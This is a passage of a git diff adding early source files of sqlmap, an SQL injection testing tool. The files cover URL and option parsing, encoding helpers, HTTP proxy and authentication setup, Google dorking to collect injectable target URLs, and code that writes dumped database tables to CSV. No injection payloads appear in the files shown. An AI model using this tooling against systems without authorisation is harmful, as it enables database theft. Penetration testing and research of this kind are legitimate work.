"%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH + paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH + paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH + paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH + + +def weAreFrozen(): + """ + Returns whether we are frozen via py2exe. + This will affect how we find out where we are located. + Reference: http://www.py2exe.org/index.cgi/WhereAmI + """ + + return hasattr(sys, "frozen") + + +def parseTargetUrl(): + """ + Parse target url and set some attributes into the configuration + singleton. + """ + + if not conf.url: + return + + if not re.search("^http[s]*://", conf.url): + if ":443/" in conf.url: + conf.url = "https://" + conf.url + else: + conf.url = "http://" + conf.url + + __urlSplit = urlparse.urlsplit(conf.url) + __hostnamePort = __urlSplit[1].split(":") + + conf.scheme = __urlSplit[0] + conf.path = __urlSplit[2] + conf.hostname = __hostnamePort[0] + + if len(__hostnamePort) == 2: + conf.port = int(__hostnamePort[1]) + elif conf.scheme == "https": + conf.port = 443 + else: + conf.port = 80 + + if __urlSplit[3]: + conf.parameters["GET"] = __urlSplit[3] + + conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path) + + +def expandAsteriskForColumns(expression): + # If the user provided an asterisk rather than the column(s) + # name, sqlmap will retrieve the columns itself and reprocess + # the SQL query string (expression) + asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I) + + if asterisk: + infoMsg = "you did not provide the fields in your query. " + infoMsg += "sqlmap will retrieve the column names itself" + logger.info(infoMsg) + + conf.db = asterisk.group(1) + conf.tbl = asterisk.group(2) + columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) + + if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: + columns = columnsDict[conf.db][conf.tbl].keys() + columns.sort() + columnsStr = ", ".join([column for column in columns]) + expression = expression.replace("*", columnsStr, 1) + + infoMsg = "the query with column names is: " + infoMsg += "%s" % expression + logger.info(infoMsg) + + return expression + + +def getRange(count, dump=False): + count = int(count) + indexRange = None + limitStart = 1 + limitStop = count + + if dump: + if isinstance(conf.limitStop, int) and conf.limitStop < count: + limitStop = conf.limitStop + + if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop: + limitStart = conf.limitStart + + # TODO: also for Microsoft SQL Server in getColumns method? + if kb.dbms == "Oracle": + indexRange = range(limitStart, limitStop + 1) + else: + indexRange = range(limitStart - 1, limitStop) + + return indexRange diff --git a/lib/core/convert.py b/lib/core/convert.py new file mode 100644 index 000000000..d0d0cfae3 --- /dev/null +++ b/lib/core/convert.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python + +""" +$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import md5 +import sha +import struct +import urllib + + +def base64decode(string): + return string.decode("base64") + + +def base64encode(string): + return string.encode("base64")[:-1] + + +def hexdecode(string): + string = string.lower() + + if string.startswith("0x"): + string = string[2:] + + return string.decode("hex") + + +def hexencode(string): + return string.encode("hex") + + +def md5hash(string): + return md5.new(string).hexdigest() + + +def orddecode(string): + packedString = struct.pack("!"+"I" * len(string), *string) + return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)]) + + +def ordencode(string): + return tuple([ord(char) for char in string]) + + +def sha1hash(string): + return sha.new(string).hexdigest() + + +def urldecode(string): + if not string: + return + + return urllib.unquote_plus(string) + + +def urlencode(string, safe=":/?%&="): + if not string: + return + + return urllib.quote(string, safe) diff --git a/lib/core/data.py b/lib/core/data.py new file mode 100644 index 000000000..c10507515 --- /dev/null +++ b/lib/core/data.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +$Id: data.py 247 2008-07-19 23:07:26Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.datatype import advancedDict +from lib.core.settings import LOGGER + +# sqlmap paths +paths = advancedDict() + +# object to share within function and classes command +# line options and settings +conf = advancedDict() + +# object to share within function and classes results +kb = advancedDict() + +# object to share within function and classes temporary data, +# just for internal use +temp = advancedDict() + +# object with each database management system specific queries +queries = {} + +# logger +logger = LOGGER diff --git a/lib/core/datatype.py b/lib/core/datatype.py new file mode 100644 index 000000000..0e9afceba --- /dev/null +++ b/lib/core/datatype.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + +from lib.core.exception import sqlmapDataException + + +class advancedDict(dict): + """ + This class defines the sqlmap object, inheriting from Python data + type dictionary. + """ + + def __init__(self, indict=None, attribute=None): + if indict is None: + indict = {} + + # Set any attributes here - before initialisation + # these remain as normal attributes + self.attribute = attribute + dict.__init__(self, indict) + self.__initialised = True + + # After initialisation, setting attributes + # is the same as setting an item + + + def __getattr__(self, item): + """ + Maps values to attributes + Only called if there *is NOT* an attribute with this name + """ + + try: + return self.__getitem__(item) + except KeyError: + raise sqlmapDataException, "Unable to access item '%s'" % item + + + def __setattr__(self, item, value): + """ + Maps attributes to values + Only if we are initialised + """ + + # This test allows attributes to be set in the __init__ method + if not self.__dict__.has_key('_advancedDict__initialised'): + return dict.__setattr__(self, item, value) + + # Any normal attributes are handled normally + elif self.__dict__.has_key(item): + dict.__setattr__(self, item, value) + + else: + self.__setitem__(item, value) + diff --git a/lib/core/dump.py b/lib/core/dump.py new file mode 100644 index 000000000..678ac5877 --- /dev/null +++ b/lib/core/dump.py @@ -0,0 +1,307 @@ +#!/usr/bin/env python + +""" +$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re +import os + +from lib.core.common import dataToDumpFile +from lib.core.common import filePathToString +from lib.core.data import conf +from lib.core.data import logger + + +class Dump: + """ + This class defines methods used to parse and output the results + of SQL injection actions + + """ + + def __init__(self): + self.__outputFile = None + self.__outputFP = None + + + def __write(self, data, n=True, rFile=False): + if n: + print data + self.__outputFP.write("%s\n" % data) + + # TODO: do not duplicate queries output in the text file, check + # before if the data is already within the text file content + if rFile and conf.rFile: + rFile = filePathToString(conf.rFile) + rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w") + rFileFP.write(data) + rFileFP.close() + else: + print data, + self.__outputFP.write("%s " % data) + + self.__outputFP.flush() + + conf.loggedToOut = True + + + def setOutputFile(self): + self.__outputFile = "%s%slog" % (conf.outputPath, os.sep) + self.__outputFP = open(self.__outputFile, "a") + + + def string(self, header, data): + if isinstance(data, (list, tuple, set)): + self.lister(header, data) + + return + + if data: + data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t") + data = data.replace("__START__", "").replace("__STOP__", "") + data = data.replace("__DEL__", ", ") + + if "\n" in data: + self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header) + else: + self.__write("%s: '%s'\n" % (header, data)) + else: + self.__write("%s:\tNone\n" % header) + + + def lister(self, header, elements): + self.__write("%s [%d]:" % (header, len(elements))) + + try: + elements = set(elements) + elements = list(elements) + elements.sort(key=lambda x: x.lower()) + except: + pass + + for element in elements: + if isinstance(element, str): + self.__write("[*] %s" % element) + elif isinstance(element, (list, tuple, set)): + self.__write("[*] " + ", ".join(e for e in element)) + + self.__write("") + + + def userSettings(self, header, userSettings, subHeader): + self.__areAdmins = set() + + self.__write("%s:" % header) + + if isinstance(userSettings, (tuple, list, set)): + self.__areAdmins = userSettings[1] + userSettings = userSettings[0] + + users = userSettings.keys() + users.sort(key=lambda x: x.lower()) + + for user in users: + settings = userSettings[user] + + if user in self.__areAdmins: + self.__write("[*] %s (administrator) [%d]:" % (user, len(settings))) + else: + self.__write("[*] %s [%d]:" % (user, len(settings))) + + settings.sort() + + for setting in settings: + self.__write(" %s: %s" % (subHeader, setting)) + print + + + def dbTables(self, dbTables): + maxlength = 0 + + for tables in dbTables.values(): + for table in tables: + maxlength = max(maxlength, len(table)) + + lines = "-" * (int(maxlength) + 2) + + for db, tables in dbTables.items(): + tables.sort(key=lambda x: x.lower()) + + self.__write("Database: %s" % db) + + if len(tables) == 1: + self.__write("[1 table]") + else: + self.__write("[%d tables]" % len(tables)) + + self.__write("+%s+" % lines) + + for table in tables: + blank = " " * (maxlength - len(table)) + self.__write("| %s%s |" % (table, blank)) + + self.__write("+%s+\n" % lines) + + + def dbTableColumns(self, tableColumns): + for db, tables in tableColumns.items(): + if not db: + db = "All" + + for table, columns in tables.items(): + maxlength1 = 0 + maxlength2 = 0 + + colList = columns.keys() + colList.sort(key=lambda x: x.lower()) + + for column in colList: + colType = columns[column] + maxlength1 = max(maxlength1, len(column)) + maxlength2 = max(maxlength2, len(colType)) + + maxlength1 = max(maxlength1, len("COLUMN")) + maxlength2 = max(maxlength2, len("TYPE")) + lines1 = "-" * (int(maxlength1) + 2) + lines2 = "-" * (int(maxlength2) + 2) + + self.__write("Database: %s\nTable: %s" % (db, table)) + + if len(columns) == 1: + self.__write("[1 column]") + else: + self.__write("[%d columns]" % len(columns)) + + self.__write("+%s+%s+" % (lines1, lines2)) + + blank1 = " " * (maxlength1 - len("COLUMN")) + blank2 = " " * (maxlength2 - len("TYPE")) + + self.__write("| Column%s | Type%s |" % (blank1, blank2)) + self.__write("+%s+%s+" % (lines1, lines2)) + + for column in colList: + colType = columns[column] + blank1 = " " * (maxlength1 - len(column)) + blank2 = " " * (maxlength2 - len(colType)) + self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) + + self.__write("+%s+%s+\n" % (lines1, lines2)) + + + def dbTableValues(self, tableValues): + db = tableValues["__infos__"]["db"] + if not db: + db = "All" + table = tableValues["__infos__"]["table"] + + if not conf.googleDork: + dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db) + + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath, 0755) + + dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table) + dumpFP = open(dumpFileName, "w") + + count = int(tableValues["__infos__"]["count"]) + separator = "" + field = 1 + fields = len(tableValues) - 1 + + columns = tableValues.keys() + columns.sort(key=lambda x: x.lower()) + + for column in columns: + if column != "__infos__": + info = tableValues[column] + lines = "-" * (int(info["length"]) + 2) + separator += "+%s" % lines + + separator += "+" + self.__write("Database: %s\nTable: %s" % (db, table)) + + if count == 1: + self.__write("[1 entry]") + else: + self.__write("[%d entries]" % count) + + self.__write(separator) + + for column in columns: + if column != "__infos__": + info = tableValues[column] + maxlength = int(info["length"]) + blank = " " * (maxlength - len(column)) + self.__write("| %s%s" % (column, blank), n=False) + + if not conf.googleDork and field == fields: + dataToDumpFile(dumpFP, "\"%s\"" % column) + else: + dataToDumpFile(dumpFP, "\"%s\"," % column) + + field += 1 + + self.__write("|\n%s" % separator) + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + + for i in range(count): + field = 1 + + for column in columns: + if column != "__infos__": + info = tableValues[column] + value = info["values"][i] + + if re.search("^[\ *]*$", value): + value = "NULL" + + maxlength = int(info["length"]) + blank = " " * (maxlength - len(value)) + self.__write("| %s%s" % (value, blank), n=False) + + if field == fields: + dataToDumpFile(dumpFP, "\"%s\"" % value) + else: + dataToDumpFile(dumpFP, "\"%s\"," % value) + + field += 1 + + self.__write("|") + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + + self.__write("%s\n" % separator) + + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + dumpFP.close() + + logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) + + +# object to manage how to print the retrieved queries output to +# standard output and sessions file +dumper = Dump() diff --git a/lib/core/exception.py b/lib/core/exception.py new file mode 100644 index 000000000..2644a1d45 --- /dev/null +++ b/lib/core/exception.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python + +""" +$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.settings import VERSION_STRING + + +class sqlmapConnectionException(Exception): + pass + + +class sqlmapDataException(Exception): + pass + + +class sqlmapFilePathException(Exception): + pass + + +class sqlmapGenericException(Exception): + pass + + +class sqlmapMissingMandatoryOptionException(Exception): + pass + + +class sqlmapNoneDataException(Exception): + pass + + +class sqlmapRegExprException(Exception): + pass + + +class sqlmapSyntaxException(Exception): + pass + + +class sqlmapUndefinedMethod(Exception): + pass + + +class sqlmapMissingPrivileges(Exception): + pass + + +class sqlmapNotVulnerableException(Exception): + pass + + +class sqlmapUnsupportedDBMSException(Exception): + pass + + +class sqlmapUnsupportedFeatureException(Exception): + pass + + +class sqlmapValueException(Exception): + pass + + +def unhandledException(): + errMsg = "unhandled exception in %s, please copy " % VERSION_STRING + errMsg += "this and the following traceback and send us by email. " + errMsg += "We will fix it as soon as possible:" + + return errMsg + + +exceptionsTuple = ( + sqlmapConnectionException, + sqlmapDataException, + sqlmapFilePathException, + sqlmapGenericException, + sqlmapMissingMandatoryOptionException, + sqlmapNoneDataException, + sqlmapRegExprException, + sqlmapSyntaxException, + sqlmapUndefinedMethod, + sqlmapMissingPrivileges, + sqlmapNotVulnerableException, + sqlmapUnsupportedDBMSException, + sqlmapUnsupportedFeatureException, + sqlmapValueException, + ) diff --git a/lib/core/option.py b/lib/core/option.py new file mode 100644 index 000000000..b6be9f2c1 --- /dev/null +++ b/lib/core/option.py @@ -0,0 +1,571 @@ +#!/usr/bin/env python + +""" +$Id: option.py 321M 2008-10-13 22:58:44Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import cookielib +import logging +import os +import re +import time +import urllib2 +import urlparse + +from lib.core.common import parseTargetUrl +from lib.core.common import paths +from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import sanitizeStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.datatype import advancedDict +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapGenericException +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.optiondict import optDict +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import SITE +from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import VERSION_STRING +from lib.core.update import update +from lib.parse.configfile import configFileParser +from lib.parse.queriesfile import queriesParser +from lib.request.proxy import ProxyHTTPSHandler +from lib.utils.google import Google + + +authHandler = urllib2.BaseHandler() +proxyHandler = urllib2.BaseHandler() + + +def __urllib2Opener(): + """ + This function creates the urllib2 OpenerDirector. + """ + + global authHandler + global proxyHandler + + debugMsg = "creating HTTP requests opener object" + logger.debug(debugMsg) + + conf.cj = cookielib.LWPCookieJar() + opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) + + urllib2.install_opener(opener) + + +def __setGoogleDorking(): + """ + This function checks if the way to request testable hosts is through + Google dorking then requests to Google the search parameter, parses + the results and save the testable hosts into the knowledge base. + """ + + global proxyHandler + + if not conf.googleDork: + return + + debugMsg = "initializing Google dorking requests" + logger.debug(debugMsg) + + logMsg = "first request to Google to get the session cookie" + logger.info(logMsg) + + googleObj = Google(proxyHandler) + googleObj.getCookie() + + matches = googleObj.search(conf.googleDork) + + if not matches: + errMsg = "unable to find results for your " + errMsg += "Google dork expression" + raise sqlmapGenericException, errMsg + + kb.targetUrls = googleObj.getTargetUrls() + + if kb.targetUrls: + logMsg = "sqlmap got %d results for your " % len(matches) + logMsg += "Google dork expression, " + + if len(matches) == len(kb.targetUrls): + logMsg += "all " + else: + logMsg += "%d " % len(kb.targetUrls) + + logMsg += "of them are testable hosts" + logger.info(logMsg) + else: + errMsg = "sqlmap got %d results " % len(matches) + errMsg += "for your Google dork expression, but none of them " + errMsg += "have GET parameters to test for SQL injection" + raise sqlmapGenericException, errMsg + + +def __setRemoteDBMS(): + """ + Checks and set the back-end DBMS option. + """ + + if not conf.dbms: + return + + debugMsg = "forcing back-end DBMS to user defined value" + logger.debug(debugMsg) + + conf.dbms = conf.dbms.lower() + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) + + if dbmsRegExp: + conf.dbms = dbmsRegExp.group(1) + kb.dbmsVersion = [dbmsRegExp.group(2)] + + if conf.dbms not in SUPPORTED_DBMS: + errMsg = "you provided an unsupported back-end database management " + errMsg += "system. The supported DBMS are MySQL, PostgreSQL, " + errMsg += "Microsoft SQL Server and Oracle. If you do not know " + errMsg += "the back-end DBMS, do not provide it and sqlmap will " + errMsg += "fingerprint it for you." + raise sqlmapUnsupportedDBMSException, errMsg + + +def __setThreads(): + if conf.threads <= 0: + conf.threads = 1 + + +def __setHTTPProxy(): + """ + Check and set the HTTP proxy to pass by all HTTP requests. + """ + + global proxyHandler + + if not conf.proxy: + return + + parseTargetUrl() + + debugMsg = "setting the HTTP proxy to pass by all HTTP requests" + logger.debug(debugMsg) + + __proxySplit = urlparse.urlsplit(conf.proxy) + __hostnamePort = __proxySplit[1].split(":") + + __scheme = __proxySplit[0] + __hostname = __hostnamePort[0] + __port = None + + if len(__hostnamePort) == 2: + __port = int(__hostnamePort[1]) + + if not __scheme or not __hostname or not __port: + errMsg = "proxy value must be in format 'http://url:port'" + raise sqlmapSyntaxException, errMsg + + __proxyString = "%s:%d" % (__hostname, __port) + + # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: + # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests + # can't be tunneled over an HTTP proxy natively by Python urllib2 + # standard library + if conf.scheme == "https": + proxyHandler = ProxyHTTPSHandler(__proxyString) + else: + proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) + + +def __setHTTPAuthentication(): + """ + Check and set the HTTP authentication method (Basic or Digest), + username and password to perform HTTP requests with. + """ + + global authHandler + + if not conf.aType and not conf.aCred: + return + + elif conf.aType and not conf.aCred: + errMsg = "you specified the HTTP Authentication type, but " + errMsg += "did not provide the credentials" + raise sqlmapSyntaxException, errMsg + + elif not conf.aType and conf.aCred: + errMsg = "you specified the HTTP Authentication credentials, " + errMsg += "but did not provide the type" + raise sqlmapSyntaxException, errMsg + + parseTargetUrl() + + debugMsg = "setting the HTTP Authentication type and credentials" + logger.debug(debugMsg) + + aTypeLower = conf.aType.lower() + + if aTypeLower not in ( "basic", "digest" ): + errMsg = "HTTP Authentication type value must be " + errMsg += "Basic or Digest" + raise sqlmapSyntaxException, errMsg + + aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred) + + if not aCredRegExp: + errMsg = "HTTP Authentication credentials value must be " + errMsg += "in format username:password" + raise sqlmapSyntaxException, errMsg + + authUsername = aCredRegExp.group(1) + authPassword = aCredRegExp.group(2) + + passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword) + + if aTypeLower == "basic": + authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr) + elif aTypeLower == "digest": + authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr) + + +def __setHTTPMethod(): + """ + Check and set the HTTP method to perform HTTP requests through. + """ + + if conf.method: + debugMsg = "setting the HTTP method to perform HTTP requests through" + logger.debug(debugMsg) + + conf.method = conf.method.upper() + + if conf.method not in ("GET", "POST"): + warnMsg = "'%s' " % conf.method + warnMsg += "is an unsupported HTTP method, " + warnMsg += "setting to default method, GET" + logger.warn(warnMsg) + + conf.method = "GET" + else: + conf.method = "GET" + + +def __defaultHTTPUserAgent(): + """ + @return: default sqlmap HTTP User-Agent header + @rtype: C{str} + """ + + return "%s (%s)" % (VERSION_STRING, SITE) + + +def __setHTTPUserAgent(): + """ + Set the HTTP User-Agent header. + Depending on the user options it can be: + + * The default sqlmap string + * A default value read as user option + * A random value read from a list of User-Agent headers from a + file choosed as user option + """ + + if conf.agent: + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("User-Agent", conf.agent)) + return + + if not conf.userAgentsFile: + conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) + return + + debugMsg = "fetching random HTTP User-Agent header from " + debugMsg += "file '%s'" % conf.userAgentsFile + logger.debug(debugMsg) + + try: + fd = open(conf.userAgentsFile) + except IOError: + warnMsg = "unable to read HTTP User-Agent header " + warnMsg += "file '%s'" % conf.userAgentsFile + logger.warn(warnMsg) + + conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) + + return + + __count = 0 + __userAgents = [] + + while True: + line = fd.readline() + + if not line: + break + + __userAgents.append(line) + __count += 1 + + fd.close() + + if __count == 1: + __userAgent = __userAgents[0] + else: + __userAgent = __userAgents[randomRange(stop=__count)] + + __userAgent = sanitizeStr(__userAgent) + conf.httpHeaders.append(("User-Agent", __userAgent)) + + logMsg = "fetched random HTTP User-Agent header from " + logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) + logger.info(logMsg) + + +def __setHTTPReferer(): + """ + Set the HTTP Referer + """ + + if conf.referer: + debugMsg = "setting the HTTP Referer header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("Referer", conf.referer)) + + +def __setHTTPCookies(): + """ + Set the HTTP Cookie header + """ + + if conf.cookie: + debugMsg = "setting the HTTP Cookie header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("Connection", "Keep-Alive")) + conf.httpHeaders.append(("Cookie", conf.cookie)) + + +def __cleanupOptions(): + """ + Cleanup configuration attributes. + """ + + debugMsg = "cleaning up configuration parameters" + logger.debug(debugMsg) + + if conf.testParameter: + conf.testParameter = conf.testParameter.replace(" ", "") + conf.testParameter = conf.testParameter.split(",") + else: + conf.testParameter = [] + + if conf.db: + conf.db = conf.db.replace(" ", "") + + if conf.tbl: + conf.tbl = conf.tbl.replace(" ", "") + + if conf.col: + conf.col = conf.col.replace(" ", "") + + if conf.user: + conf.user = conf.user.replace(" ", "") + + +def __setConfAttributes(): + """ + This function set some needed attributes into the configuration + singleton. + """ + + debugMsg = "initializing the configuration" + logger.debug(debugMsg) + + conf.cj = None + conf.dbmsHandler = None + conf.dumpPath = None + conf.httpHeaders = [] + conf.hostname = None + conf.loggedToOut = None + conf.outputPath = None + conf.paramDict = {} + conf.parameters = {} + conf.path = None + conf.port = None + conf.scheme = None + conf.sessionFP = None + conf.start = True + + +def __setKnowledgeBaseAttributes(): + """ + This function set some needed attributes into the knowledge base + singleton. + """ + + debugMsg = "initializing the knowledge base" + logger.debug(debugMsg) + + kb.absFilePaths = set() + kb.defaultResult = None + kb.docRoot = None + kb.dbms = None + kb.dbmsDetected = False + kb.dbmsVersion = None + kb.htmlFp = [] + kb.injParameter = None + kb.injPlace = None + kb.injType = None + kb.parenthesis = None + kb.resumedQueries = {} + kb.targetUrls = set() + kb.unionComment = "" + kb.unionCount = None + kb.unionPosition = None + + +def __saveCmdline(): + """ + Saves the command line options on a sqlmap configuration INI file + format. + """ + + if not conf.saveCmdline: + return + + debugMsg = "saving command line options on a sqlmap configuration INI file" + logger.debug(debugMsg) + + userOpts = {} + + for family in optDict.keys(): + userOpts[family] = [] + + for option, value in conf.items(): + for family, optionData in optDict.items(): + if option in optionData: + userOpts[family].append((option, value, optionData[option])) + + confFP = open(paths.SQLMAP_CONFIG, "w") + + for family, optionData in userOpts.items(): + confFP.write("[%s]\n" % family) + + optionData.sort() + + for option, value, datatype in optionData: + if value == None: + if datatype == "boolean": + value = "False" + elif datatype == "integer": + value = "1" + elif datatype == "string": + value = "" + + confFP.write("%s = %s\n" % (option, value)) + + confFP.write("\n") + + confFP.flush() + confFP.close() + + infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG + logger.info(infoMsg) + + +def __setVerbosity(): + """ + This function set the verbosity of sqlmap output messages. + """ + + if not conf.verbose: + conf.verbose = 0 + return + + conf.verbose = int(conf.verbose) + + if conf.verbose <= 1: + logger.setLevel(logging.INFO) + elif conf.verbose > 1 and conf.eta: + conf.verbose = 1 + logger.setLevel(logging.INFO) + elif conf.verbose == 2: + logger.setLevel(logging.DEBUG) + elif conf.verbose == 3: + logger.setLevel(9) + elif conf.verbose >= 4: + logger.setLevel(8) + + +def __mergeOptions(inputOptions): + """ + Merge command line options with configuration file options. + + @param inputOptions: optparse object with command line options. + @type inputOptions: C{instance} + """ + + if inputOptions.configFile: + configFileParser(inputOptions.configFile) + + for key, value in inputOptions.__dict__.items(): + if not conf.has_key(key) or conf[key] == None or value != None: + conf[key] = value + + +def init(inputOptions=advancedDict()): + """ + Set attributes into both configuration and knowledge base singletons + based upon command line and configuration file options. + """ + + __mergeOptions(inputOptions) + __setVerbosity() + __saveCmdline() + __setConfAttributes() + __setKnowledgeBaseAttributes() + __cleanupOptions() + __setHTTPCookies() + __setHTTPReferer() + __setHTTPUserAgent() + __setHTTPMethod() + __setHTTPAuthentication() + __setHTTPProxy() + __setThreads() + __setRemoteDBMS() + __setGoogleDorking() + __urllib2Opener() + + update() + queriesParser() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py new file mode 100644 index 000000000..da86c5fd3 --- /dev/null +++ b/lib/core/optiondict.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software 